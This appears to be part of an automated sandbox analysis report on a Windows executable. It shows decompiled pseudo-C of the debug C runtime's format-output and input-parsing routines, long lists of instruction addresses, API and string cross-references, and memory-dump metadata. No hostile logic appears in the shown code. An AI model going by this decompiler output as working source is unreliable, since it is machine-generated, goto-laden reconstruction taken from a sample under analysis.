										E00419D60(_t573, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t623 - 0x2f0) = 0xffffffff;
										E0041B2A0(_t623 - 0x40);
										_t503 =  *(_t623 - 0x2f0);
										L229:
										return E00422570(_t503, _t558,  *(_t623 - 0x48) ^ _t623, _t594, _t621, _t622);
									}
								}
							}
							L219:
							__eflags =  *(_t623 - 0x25c);
							if( *(_t623 - 0x25c) == 0) {
								L222:
								 *(_t623 - 0x334) = 1;
								L223:
								_t560 =  *(_t623 - 0x334);
								 *(_t623 - 0x2e0) =  *(_t623 - 0x334);
								__eflags =  *(_t623 - 0x2e0);
								if( *(_t623 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t508 = L0041AAF0();
									_t626 = _t626 + 0x14;
									__eflags = _t508 - 1;
									if(_t508 == 1) {
										asm("int3");
									}
								}
								__eflags =  *(_t623 - 0x2e0);
								if( *(_t623 - 0x2e0) != 0) {
									 *(_t623 - 0x300) =  *(_t623 - 0x24c);
									E0041B2A0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x300);
								} else {
									 *((intOrPtr*)(L0041A7C0(_t560))) = 0x16;
									E00419D60(_t560, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t623 - 0x2fc) = 0xffffffff;
									E0041B2A0(_t623 - 0x40);
									_t503 =  *(_t623 - 0x2fc);
								}
								goto L229;
							}
							L220:
							__eflags =  *(_t623 - 0x25c) - 7;
							if( *(_t623 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t623 - 0x334) = 0;
							goto L223;
						}
					}
					L82:
					_t593 =  *0x43eec8; // 0x4075b0
					 *(_t623 - 4) = _t593;
					_t497 = E00420240( *(_t623 - 4));
					_t626 = _t626 + 4;
					 *(_t623 - 0x24) = _t497;
					goto L86;
				}
			}

0x004301d5
0x004301d5
0x004301d5
0x004301d5
0x004301d5
0x004301d5
0x004301d9
0x004301de
0x004301e1
0x004301ee
0x00000000
0x00000000
0x004301f0
0x004301f0
0x004301f6
0x004301fa
0x00430216
0x00430219
0x00430219
0x0043021f
0x00430247
0x0043024e
0x00430254
0x00430257
0x0043025a
0x00430260
0x00430263
0x00430221
0x00430221
0x00430227
0x0043022a
0x0043022d
0x00430233
0x00430236
0x00430239
0x0043023b
0x0043023e
0x0043023e
0x00430266
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00430936
0x00430939
0x0043093c
0x00430941
0x00430946
0x00430958
0x0043095b
0x0043096d
0x00430970
0x00430972
0x00430976
0x00430976
0x0043095d
0x0043095d
0x00430961
0x00430961
0x00430948
0x00430948
0x0043094c
0x0043094c
0x00430946
0x00430986
0x0043098f
0x00430992
0x004309a8
0x004309ad
0x004309ad
0x004309c3
0x004309c8
0x004309ce
0x004309d1
0x004309d6
0x004309d9
0x004309ef
0x004309f4
0x004309f4
0x004309d9
0x004309f7
0x004309fb
0x00430acf
0x00430ae2
0x00430ae7
0x00000000
0x00430a01
0x00430a01
0x00430a01
0x00430a05
0x00000000
0x00000000
0x00430a0b
0x00430a0b
0x00430a18
0x00430a21
0x00430a27
0x00430a27
0x00430a36
0x00430a3c
0x00430a3e
0x00000000
0x00000000
0x00430a44
0x00430a4d
0x00430a6c
0x00430a71
0x00430a74
0x00430a83
0x00430a89
0x00430a90
0x00430a9b
0x00430a9b
0x00000000
0x00430a9b
0x00430a92
0x00430a92
0x00430a99
0x00430aa7
0x00430ac0
0x00430ac5
0x00000000
0x00430ac5
0x00000000
0x00430a99
0x00430acd
0x00430aea
0x00430aea
0x00430af1
0x00430af6
0x00430af9
0x00430b0f
0x00430b14
0x00430b14
0x00430af9
0x00430af1
0x00430b17
0x00430b17
0x00430b1b
0x00430b23
0x00430b28
0x00430b2b
0x00430b2b
0x00430b32
0x00430b32
0x0042fc0f
0x0042fc15
0x0042fc22
0x0042fc27
0x00000000
0x0042fc3a
0x0042fc44
0x0042fc6b
0x0042fc52
0x0042fc63
0x0042fc63
0x0042fc44
0x0042fc75
0x0042fc7b
0x0042fc87
0x0042fc8a
0x0042fc98
0x0042fc9b
0x0042fca8
0x0042fd4d
0x0042fd53
0x0042fd59
0x0042fd60
0x00000000
0x00000000
0x0042fd66
0x0042fd6c
0x00000000
0x0042fd73
0x0042fd73
0x0042fd8b
0x0042fd90
0x0042fd93
0x0042fd95
0x0042fe4f
0x0042fe62
0x0042fe67
0x00000000
0x0042fd9b
0x0042fdae
0x0042fdb3
0x0042fdb9
0x0042fdbb
0x0042fdc4
0x0042fdc4
0x0042fdc7
0x0042fdd3
0x0042fdd7
0x0042fddd
0x0042fddf
0x0042fde4
0x0042fde6
0x0042fdeb
0x0042fdf0
0x0042fdf2
0x0042fdf7
0x0042fdfa
0x0042fdfd
0x0042fdff
0x0042fdff
0x0042fdfd
0x0042fe00
0x0042fe00
0x0042fe07
0x00000000
0x0042fe09
0x0042fe0e
0x0042fe2a
0x0042fe32
0x0042fe3f
0x0042fe44
0x00000000
0x0042fe44
0x0042fe07
0x00000000
0x0042fe6f
0x0042fe6f
0x0042fe76
0x0042fe79
0x0042fe7c
0x0042fe7f
0x0042fe82
0x0042fe85
0x0042fe88
0x0042fe8f
0x0042fe96
0x00000000
0x00000000
0x0042fea2
0x0042fea2
0x0042fea9
0x0042feb5
0x0042feb8
0x0042febe
0x0042fec5
0x00000000
0x00000000
0x0042fec7
0x0042fec7
0x0042fecd
0x0042fecd
0x0042fed4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ff17
0x0042ff17
0x0042ff1e
0x0042ff21
0x0042ff4b
0x0042ff4e
0x0042ff4e
0x0042ff51
0x0042ff58
0x0042ff58
0x0042ff5c
0x0042ff23
0x0042ff23
0x0042ff2f
0x0042ff32
0x0042ff36
0x0042ff38
0x0042ff3b
0x0042ff3b
0x0042ff3e
0x0042ff44
0x0042ff46
0x0042ff46
0x0042ff49
0x00000000
0x00000000
0x0042ff64
0x0042ff64
0x00000000
0x00000000
0x0042ff70
0x0042ff70
0x0042ff77
0x0042ff7a
0x0042ff9a
0x0042ff9d
0x0042ff9d
0x0042ffa7
0x0042ffa7
0x0042ffab
0x0042ff7c
0x0042ff7c
0x0042ff88
0x0042ff8b
0x0042ff8f
0x0042ff91
0x0042ff91
0x0042ff98
0x00000000
0x00000000
0x0042ffb3
0x0042ffb3
0x0042ffba
0x0042ffc6
0x0042ffc9
0x0042ffcf
0x0042ffd6
0x004300e9
0x00000000
0x004300e9
0x0042ffdc
0x0042ffdc
0x0042ffe2
0x0042ffe2
0x0042ffe9
0x00000000
0x0043001f
0x0043001f
0x00430022
0x00430025
0x00430028
0x00430050
0x00430050
0x00430053
0x00430056
0x00430059
0x0043007e
0x0043007e
0x00430081
0x00430084
0x00430087
0x004300c0
0x004300d1
0x00000000
0x004300d1
0x00430089
0x00430089
0x0043008c
0x0043008f
0x00430092
0x00000000
0x00000000
0x00430094
0x00430094
0x00430097
0x0043009a
0x0043009d
0x00000000
0x00000000
0x0043009f
0x0043009f
0x004300a2
0x004300a5
0x004300a8
0x00000000
0x00000000
0x004300aa
0x004300aa
0x004300ad
0x004300b0
0x004300b3
0x00000000
0x00000000
0x004300b5
0x004300b5
0x004300b8
0x004300bb
0x004300be
0x004300c2
0x00000000
0x004300c2
0x00000000
0x004300be
0x0043005b
0x0043005b
0x0043005e
0x00430062
0x00430065
0x00000000
0x00430067
0x0043006a
0x0043006d
0x00430070
0x00430073
0x00430079
0x00000000
0x00430079
0x00430065
0x0043002a
0x0043002a
0x0043002d
0x00430031
0x00430034
0x00000000
0x00430036
0x00430039
0x0043003c
0x0043003f
0x00430042
0x00430048
0x00000000
0x00430048
0x00000000
0x004300d3
0x004300d6
0x004300d9
0x00000000
0x00000000
0x0042fff0
0x0042fff0
0x0042fff3
0x0042fff6
0x0042fff9
0x00430011
0x00430014
0x00430014
0x00430017
0x0042fffb
0x0042fffe
0x00430001
0x00430007
0x0043000c
0x0043000c
0x00000000
0x00000000
0x004300de
0x004300de
0x004300e1
0x004300e1
0x004300e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004300ee
0x004300ee
0x004300f5
0x00430101
0x00430104
0x0043010a
0x00430111
0x00000000
0x0043092c
0x0043092c
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x004308e6
0x004308e9
0x004308ec
0x004308ef
0x004308f2
0x004308f5
0x004308fb
0x004308fb
0x004308fb
0x00430903
0x00430907
0x00000000
0x00000000
0x00430909
0x00430909
0x0043090c
0x0043090f
0x0043090f
0x00430914
0x00430917
0x0043091a
0x0043091d
0x00430920
0x00430923
0x00430926
0x00430926
0x00430929
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x0043092c
0x00430117
0x0043011d
0x0043011d
0x00430124
0x00000000
0x0043047e
0x0043047e
0x00430485
0x0043048c
0x0043048c
0x0043048f
0x00000000
0x00000000
0x0043012b
0x0043012e
0x0043012e
0x00430134
0x00430136
0x00430139
0x00430139
0x0043013e
0x0043013e
0x00000000
0x00000000
0x0043026b
0x0043026e
0x0043026e
0x00430273
0x00430275
0x00430278
0x00430278
0x0043027e
0x0043027e
0x00000000
0x00000000
0x00430645
0x00430645
0x00000000
0x00000000
0x00000000
0x00000000
0x00430495
0x00430498
0x0043049b
0x0043049e
0x004304a4
0x004304a7
0x004304ae
0x004304b2
0x004304bd
0x004304bd
0x004304c1
0x004304d8
0x004304d8
0x004304df
0x004304e1
0x004304e1
0x004304e8
0x004304e8
0x004304ef
0x00430500
0x0043050f
0x00430512
0x00430516
0x0043052c
0x00430518
0x00430518
0x0043051b
0x00430521
0x00430527
0x00430527
0x00430516
0x00430536
0x00430539
0x0043053c
0x0043053f
0x00430542
0x00430545
0x0043054b
0x00430551
0x00430559
0x0043055a
0x0043055d
0x0043055e
0x00430561
0x00430562
0x00430569
0x0043056a
0x0043056d
0x0043056e
0x00430571
0x00430572
0x00430578
0x00430579
0x0043057e
0x0043057f
0x00430585
0x00430587
0x0043058d
0x0043058d
0x00430593
0x00430595
0x00430599
0x0043059b
0x004305a3
0x004305a4
0x004305a7
0x004305a8
0x004305ad
0x004305ae
0x004305b4
0x004305b6
0x004305b6
0x00430599
0x004305b9
0x004305c0
0x004305c3
0x004305c8
0x004305c8
0x004305ce
0x004305d0
0x004305d8
0x004305d9
0x004305dc
0x004305dd
0x004305e3
0x004305e4
0x004305ea
0x004305ec
0x004305ec
0x004305ce
0x004305ef
0x004305f2
0x004305f5
0x004305f8
0x004305fd
0x00430603
0x00430606
0x00430609
0x00430609
0x0043060c
0x0043060c
0x0043060f
0x0043061b
0x00000000
0x0043061b
0x004304c3
0x004304c3
0x004304ca
0x004304cd
0x00000000
0x00000000
0x004304cf
0x004304cf
0x00000000
0x004304cf
0x004304b4
0x004304b4
0x00000000
0x00000000
0x00430141
0x00430144
0x00430144
0x0043014a
0x004301a5
0x004301ad
0x004301b4
0x004301ba
0x004301c0
0x0043014c
0x0043014c
0x00430156
0x0043015a
0x00430162
0x00430169
0x00430176
0x0043017d
0x00430189
0x0043018f
0x00430196
0x00430198
0x00430198
0x0043019f
0x004301c7
0x004301cd
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x00000000
0x00000000
0x00430623
0x00430626
0x00430629
0x0043062c
0x00000000
0x00000000
0x00430387
0x00430387
0x00430393
0x00430399
0x0043039e
0x004303a0
0x0043044a
0x0043044d
0x0043044d
0x00430450
0x00430464
0x0043046a
0x00430470
0x00430452
0x00430452
0x0043045f
0x0043045f
0x00430472
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x0043092c
0x004303a6
0x004303a6
0x004303a6
0x004303a8
0x004303b6
0x004303aa
0x004303aa
0x004303aa
0x004303c0
0x004303c6
0x004303cc
0x004303d3
0x004303d5
0x004303da
0x004303dc
0x004303e1
0x004303e6
0x004303e8
0x004303ed
0x004303f0
0x004303f3
0x004303f5
0x004303f5
0x004303f3
0x004303f6
0x004303fd
0x00430445
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x004303ff
0x004303ff
0x00430404
0x00430420
0x00430428
0x00430432
0x00430435
0x0043043a
0x00000000
0x0043043a
0x00000000
0x00430686
0x00430686
0x00430690
0x00430690
0x00430696
0x00430698
0x0043069b
0x0043069b
0x004306a1
0x004306a1
0x00000000
0x00000000
0x0043063e
0x0043063e
0x00000000
0x00000000
0x00430281
0x00430281
0x00430285
0x00430293
0x00430296
0x00430287
0x00430287
0x00430287
0x0043029c
0x004302a2
0x004302a8
0x004302b4
0x004302ba
0x004302ba
0x004302c0
0x00430327
0x00430327
0x0043032b
0x0043032d
0x00430333
0x00430333
0x00430336
0x00430339
0x0043033f
0x0043033f
0x0043033f
0x0043034b
0x0043034e
0x00430354
0x00430356
0x00000000
0x00000000
0x00430358
0x00430358
0x0043035e
0x00430361
0x00430363
0x00000000
0x00000000
0x00430365
0x0043036b
0x0043036e
0x0043036e
0x00430376
0x00430376
0x0043037c
0x0043037c
0x0043037f
0x00000000
0x004302c2
0x004302c2
0x004302c2
0x004302c6
0x004302c8
0x004302cd
0x004302cd
0x004302d0
0x004302d7
0x004302da
0x004302e0
0x004302e0
0x004302e0
0x004302ec
0x004302ef
0x004302f5
0x004302f7
0x00000000
0x00000000
0x004302f9
0x004302f9
0x004302ff
0x00430302
0x00430304
0x00000000
0x00000000
0x00430306
0x0043030c
0x0043030f
0x0043030f
0x00430317
0x0043031d
0x00430320
0x00430322
0x00430382
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x0043092c
0x00000000
0x00430635
0x00430635
0x00000000
0x00000000
0x00430651
0x00430651
0x0043065b
0x0043065b
0x00430665
0x00430665
0x0043066b
0x0043066d
0x00430677
0x00430677
0x0043067a
0x0043067d
0x0043067d
0x004306a4
0x004306a7
0x004306a7
0x004306ac
0x004306ce
0x004306ce
0x004306d4
0x004306f6
0x004306f6
0x004306f9
0x00430740
0x00430740
0x00430743
0x00430760
0x00430764
0x0043076c
0x0043076c
0x0043076e
0x00430774
0x00430745
0x00430745
0x00430749
0x00430751
0x00430752
0x00430758
0x00430758
0x004306fb
0x004306fe
0x004306fe
0x00430701
0x0043071f
0x0043072b
0x0043072e
0x0043072f
0x00430735
0x00430703
0x00430703
0x00430707
0x0043070f
0x00430710
0x00430711
0x00430717
0x00430717
0x0043073b
0x004306d6
0x004306d6
0x004306e2
0x004306e8
0x004306e8
0x004306ae
0x004306ae
0x004306ba
0x004306c0
0x004306c0
0x0043077d
0x0043077d
0x00430780
0x004307c2
0x004307c2
0x004307c8
0x004307ce
0x004307d4
0x00000000
0x00430782
0x00430782
0x00430782
0x00430789
0x00000000
0x00000000
0x0043078b
0x0043078b
0x00430796
0x0043079c
0x0043079e
0x004307a4
0x004307a7
0x004307a9
0x004307af
0x004307b8
0x004307bd
0x004307da
0x004307dd
0x004307dd
0x004307e2
0x004307e7
0x004307e7
0x004307ed
0x004307ef
0x004307f5
0x004307fb
0x004307fb
0x00430804
0x00430804
0x004307ed
0x0043080a
0x0043080e
0x0043081c
0x0043081f
0x00430822
0x00430829
0x0043082b
0x0043082b
0x00430810
0x00430810
0x00430810
0x00430838
0x00430838
0x0043083e
0x00430840
0x00430840
0x00430847
0x0043084a
0x0043084d
0x0043084d
0x0043084d
0x00430853
0x00430856
0x00430859
0x0043085b
0x00000000
0x00000000
0x0043085d
0x00430863
0x00430863
0x00430869
0x00000000
0x00000000
0x0043086b
0x0043086b
0x0043086e
0x00430871
0x00430878
0x0043087f
0x00430887
0x0043088d
0x00430890
0x00430893
0x0043089a
0x004308a6
0x004308ac
0x004308b2
0x004308b9
0x004308bb
0x004308c1
0x004308c1
0x004308c7
0x004308c7
0x004308cd
0x004308d0
0x004308d6
0x004308db
0x004308de
0x0043084d
0x0043084d
0x00430853
0x00430856
0x00430859
0x0043085b
0x00000000
0x00000000
0x00000000
0x0043085b
0x0043084d
0x0043078d
0x0043078d
0x00430794
0x00000000
0x00000000
0x00000000
0x00430794
0x00000000
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x00000000
0x00000000
0x0042fef1
0x0042fef4
0x0042fef7
0x00000000
0x00000000
0x0042fefc
0x0042feff
0x0042ff04
0x00000000
0x00000000
0x0042fee6
0x0042fee6
0x0042fee9
0x0042feec
0x00000000
0x00000000
0x0042fedb
0x0042fede
0x0042fee1
0x00000000
0x00000000
0x0042ff09
0x0042ff09
0x0042ff0c
0x0042ff0c
0x0042ff0f
0x00000000
0x00000000
0x0042ff12
0x00000000
0x00000000
0x0042fcae
0x0042fcb0
0x0042fcbe
0x0042fcb2
0x0042fcb2
0x0042fcb2
0x0042fcc8
0x0042fcce
0x0042fcdb
0x0042fcdd
0x0042fce2
0x0042fce4
0x0042fce9
0x0042fcee
0x0042fcf0
0x0042fcf5
0x0042fcfb
0x0042fcfd
0x0042fcfd
0x0042fcfb
0x0042fcfe
0x0042fd05
0x00000000
0x0042fd07
0x0042fd0c
0x0042fd28
0x0042fd30
0x0042fd3d
0x0042fd42
0x00430bfb
0x00430c08
0x00430c08
0x0042fd05
0x0042fca8
0x00430b37
0x00430b37
0x00430b3e
0x00430b55
0x00430b55
0x00430b5f
0x00430b5f
0x00430b65
0x00430b6b
0x00430b72
0x00430b74
0x00430b79
0x00430b7b
0x00430b80
0x00430b85
0x00430b87
0x00430b8c
0x00430b8f
0x00430b92
0x00430b94
0x00430b94
0x00430b92
0x00430b95
0x00430b9c
0x00430be7
0x00430bf0
0x00430bf5
0x00430b9e
0x00430ba3
0x00430bbf
0x00430bc7
0x00430bd4
0x00430bd9
0x00430bd9
0x00000000
0x00430b9c
0x00430b40
0x00430b40
0x00430b47
0x00000000
0x00000000
0x00430b49
0x00430b49
0x00000000
0x00430b49
0x0043092c
0x004301fc
0x004301fc
0x00430202
0x00430209
0x0043020e
0x00430211
0x00000000
0x00430211

APIs

_get_int_arg.LIBCMTD ref: 004301D9
_strlen.LIBCMT ref: 00430209
_write_multi_char.LIBCMTD ref: 004309A8
_write_string.LIBCMTD ref: 004309C3
_write_multi_char.LIBCMTD ref: 004309EF
_wctomb_s.LIBCMTD ref: 00430A6C

Strings

_output_s_l, xrefs: 0042FD1E
("Incorrect format specifier", 0), xrefs: 0042FCDD, 0042FD23
-, xrefs: 00430948
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0042FCE9, 0042FD19

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2232461714-3257747220
Opcode ID: 47db40868ba9b3f00ed6a05d7d89fbfc6c05e32463b699955593959a68e2664c
Instruction ID: 30c9578546de9d467aa1fed8307d2568c44f0922251116d9f3dbbc998cc721f9
Opcode Fuzzy Hash: 47db40868ba9b3f00ed6a05d7d89fbfc6c05e32463b699955593959a68e2664c
Instruction Fuzzy Hash: F4A17CB0D012298FDB24DB55CC99BEEB7B0FB48304F5482DAD4096B281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA8E, Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 358
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E0041BA8E(void* __ebx) {
				signed int _t830;
				signed int _t835;
				void* _t840;
				void* _t849;
				signed int _t853;
				signed int _t856;
				intOrPtr _t858;
				signed int _t869;
				signed int _t890;
				signed int _t892;
				signed int _t895;
				signed int _t899;
				signed int _t902;
				void* _t913;
				signed int _t918;
				signed int _t950;
				void* _t951;
				char _t959;
				signed int _t961;
				void* _t965;
				signed int _t982;
				signed int _t987;
				signed int _t994;
				signed int _t1009;
				signed int _t1035;
				signed int _t1040;
				signed int _t1044;
				signed int _t1048;
				intOrPtr _t1056;
				signed int _t1076;
				signed int _t1082;
				signed int _t1086;
				signed int _t1120;
				signed int _t1124;
				signed int _t1133;
				void* _t1137;
				void* _t1138;
				signed int _t1139;
				void* _t1141;
				void* _t1142;
				void* _t1145;
				void* _t1148;
				void* _t1149;

				L0:
				while(1) {
					L0:
					_t965 = __ebx;
					if( *(_t1139 - 0x1f0) == 0) {
						 *(_t1139 - 0x1f0) =  *(_t1139 - 0x1f0) + 1;
						_t1086 =  *(_t1139 - 0x78) + 1;
						__eflags = _t1086;
						 *(_t1139 - 0x78) = _t1086;
					}
					L71:
					__eflags =  *(_t1139 - 0x215);
					if( *(_t1139 - 0x215) > 0) {
						_t1009 =  *(_t1139 - 0x29) + 1;
						__eflags = _t1009;
						 *(_t1139 - 0x29) = _t1009;
					}
					L73:
					while(1) {
						L103:
						 *(_t1139 - 0x48) =  *(_t1139 - 0x7c);
						_t967 =  *(_t1139 - 0xc) - 1;
						 *(_t1139 - 0xc) =  *(_t1139 - 0xc) - 1;
						E0041CFD0( *(_t1139 - 0x21c),  *(_t1139 + 8));
						_t1142 = _t1141 + 8;
						__eflags =  *(_t1139 - 0x44) - 0x63;
						if( *(_t1139 - 0x44) != 0x63) {
							_t967 =  *(_t1139 - 0x18) - 1;
							__eflags = _t967;
							 *(_t1139 - 0x18) = _t967;
						}
						while(1) {
							L105:
							__eflags =  *(_t1139 - 0x1f0);
							if( *(_t1139 - 0x1f0) == 0) {
								goto L107;
							}
							L106:
							 *(_t1139 - 0x78) =  *(_t1139 - 0x78) - 1;
							__eflags =  *(_t1139 - 0x78);
							if( *(_t1139 - 0x78) == 0) {
								L128:
								__eflags =  *(_t1139 - 0x40);
								if( *(_t1139 - 0x40) == 0) {
									L146:
									_t1063 =  *(_t1139 - 0x48);
									__eflags =  *(_t1139 - 0x48) -  *(_t1139 - 0x7c);
									if( *(_t1139 - 0x48) ==  *(_t1139 - 0x7c)) {
										L166:
										L335:
										__eflags =  *((intOrPtr*)(_t1139 - 0x28)) - 1;
										if( *((intOrPtr*)(_t1139 - 0x28)) == 1) {
											L0041DD40( *((intOrPtr*)(_t1139 - 0x84)), 2);
											_t1142 = _t1142 + 8;
										}
										__eflags =  *(_t1139 - 0x21c) - 0xffffffff;
										if( *(_t1139 - 0x21c) != 0xffffffff) {
											L343:
											__eflags =  *(_t1139 - 0x24) - 1;
											if( *(_t1139 - 0x24) != 1) {
												L352:
												_t1063 =  *(_t1139 - 8);
												 *(_t1139 - 0x24c) =  *(_t1139 - 8);
												E0041B2A0(_t1139 - 0x214);
												_t835 =  *(_t1139 - 0x24c);
												goto L353;
											}
											L344:
											__eflags = 0;
											if(0 == 0) {
												 *(_t1139 - 0x278) = 0;
											} else {
												 *(_t1139 - 0x278) = 1;
											}
											_t1063 =  *(_t1139 - 0x278);
											 *(_t1139 - 0x240) =  *(_t1139 - 0x278);
											__eflags =  *(_t1139 - 0x240);
											if( *(_t1139 - 0x240) == 0) {
												_push(L"(\"Invalid Input Format\",0)");
												_push(0);
												_push(0x55d);
												_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c");
												_push(2);
												_t840 = L0041AAF0();
												_t1142 = _t1142 + 0x14;
												__eflags = _t840 - 1;
												if(_t840 == 1) {
													asm("int3");
												}
											}
											__eflags =  *(_t1139 - 0x240);
											if( *(_t1139 - 0x240) != 0) {
												goto L352;
											} else {
												L351:
												 *((intOrPtr*)(L0041A7C0(0))) = 0x16;
												E00419D60(0, L"(\"Invalid Input Format\",0)", L"_input_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c", 0x55d, 0);
												 *(_t1139 - 0x248) =  *(_t1139 - 8);
												E0041B2A0(_t1139 - 0x214);
												_t835 =  *(_t1139 - 0x248);
												goto L353;
											}
										} else {
											L338:
											__eflags =  *(_t1139 - 8);
											if( *(_t1139 - 8) != 0) {
												L341:
												_t1063 =  *(_t1139 - 8);
												 *(_t1139 - 0x274) =  *(_t1139 - 8);
												L342:
												 *(_t1139 - 0x244) =  *(_t1139 - 0x274);
												E0041B2A0(_t1139 - 0x214);
												_t835 =  *(_t1139 - 0x244);
												L353:
												__eflags =  *(_t1139 - 0x50) ^ _t1139;
												return E00422570(_t835, _t965,  *(_t1139 - 0x50) ^ _t1139, _t1063, _t1137, _t1138);
											}
											L339:
											__eflags =  *(_t1139 - 0x1e9);
											if( *(_t1139 - 0x1e9) != 0) {
												goto L341;
											}
											L340:
											 *(_t1139 - 0x274) = 0xffffffff;
											goto L342;
										}
									}
									L147:
									__eflags =  *((char*)(_t1139 - 0x12));
									if( *((char*)(_t1139 - 0x12)) == 0) {
										 *(_t1139 - 8) =  *(_t1139 - 8) + 1;
										__eflags =  *(_t1139 - 0x44) - 0x63;
										if( *(_t1139 - 0x44) != 0x63) {
											__eflags =  *(_t1139 - 0x29);
											if( *(_t1139 - 0x29) == 0) {
												 *( *(_t1139 - 0x7c)) = 0;
												__eflags =  *(_t1139 - 0x34) - 0xffffffff;
												if( *(_t1139 - 0x34) != 0xffffffff) {
													__eflags =  *(_t1139 - 0x34) - 0x7fffffff;
													if( *(_t1139 - 0x34) != 0x7fffffff) {
														__eflags =  *(_t1139 - 0x7c) -  *(_t1139 - 0x48) + 1 -  *(_t1139 - 0x34);
														if( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) + 1 <  *(_t1139 - 0x34)) {
															__eflags =  *0x43e408 -  *(_t1139 - 0x34) -  *(_t1139 - 0x7c) -  *(_t1139 - 0x48) + 1; // 0xffffffff
															if(__eflags >= 0) {
																_t918 =  *(_t1139 - 0x34) -  *(_t1139 - 0x7c) -  *(_t1139 - 0x48) + 1;
																__eflags = _t918;
																 *(_t1139 - 0x270) = _t918;
															} else {
																_t1035 =  *0x43e408; // 0xffffffff
																 *(_t1139 - 0x270) = _t1035;
															}
															__eflags =  *(_t1139 - 0x7c) -  *(_t1139 - 0x48);
															E00422580( *(_t1139 - 0x48) +  *(_t1139 - 0x7c) -  *(_t1139 - 0x48) + 1, 0xfe,  *(_t1139 - 0x270));
															_t1142 = _t1142 + 0xc;
														}
													}
												}
											} else {
												 *( *(_t1139 - 0x7c)) = 0;
												__eflags =  *(_t1139 - 0x34) - 0xffffffff;
												if( *(_t1139 - 0x34) != 0xffffffff) {
													__eflags =  *(_t1139 - 0x34) - 0x7fffffff;
													if( *(_t1139 - 0x34) != 0x7fffffff) {
														__eflags = ( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) >> 1) + 1 -  *(_t1139 - 0x34);
														if(( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) >> 1) + 1 <  *(_t1139 - 0x34)) {
															__eflags =  *0x43e408 -  *(_t1139 - 0x34) - ( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) >> 1) + 1; // 0xffffffff
															if(__eflags >= 0) {
																_t1040 =  *(_t1139 - 0x34) - ( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) >> 1) + 1;
																__eflags = _t1040;
																 *(_t1139 - 0x26c) = _t1040;
															} else {
																_t1120 =  *0x43e408; // 0xffffffff
																 *(_t1139 - 0x26c) = _t1120;
															}
															__eflags =  *(_t1139 - 0x7c) -  *(_t1139 - 0x48);
															E00422580( *(_t1139 - 0x48) + 2 + ( *(_t1139 - 0x7c) -  *(_t1139 - 0x48) >> 1) * 2, 0xfe,  *(_t1139 - 0x26c) << 1);
															_t1142 = _t1142 + 0xc;
														}
													}
												}
											}
										}
									}
									while(1) {
										L318:
										 *(_t1139 - 0x1e9) =  *(_t1139 - 0x1e9) + 1;
										 *(_t1139 + 0xc) =  *(_t1139 + 0xc) + 1;
										while(1) {
											L330:
											__eflags =  *(_t1139 - 0x21c) - 0xffffffff;
											if( *(_t1139 - 0x21c) != 0xffffffff) {
												goto L334;
											}
											L331:
											_t1063 =  *(_t1139 + 0xc);
											__eflags = ( *( *(_t1139 + 0xc)) & 0x000000ff) - 0x25;
											if(( *( *(_t1139 + 0xc)) & 0x000000ff) != 0x25) {
												L333:
												goto L335;
											}
											L332:
											_t982 =  *(_t1139 + 0xc);
											_t1063 =  *(_t982 + 1) & 0x000000ff;
											__eflags = ( *(_t982 + 1) & 0x000000ff) - 0x6e;
											if(( *(_t982 + 1) & 0x000000ff) == 0x6e) {
												goto L334;
											}
											goto L333;
											L334:
											while(1) {
												L1:
												_t1063 =  *(_t1139 + 0xc);
												if(( *( *(_t1139 + 0xc)) & 0x000000ff) == 0) {
													goto L335;
												}
												L2:
												_t849 = E00425240( *( *(_t1139 + 0xc)) & 0x000000ff);
												_t1142 = _t1142 + 4;
												if(_t849 == 0) {
													L6:
													__eflags = ( *( *(_t1139 + 0xc)) & 0x000000ff) - 0x25;
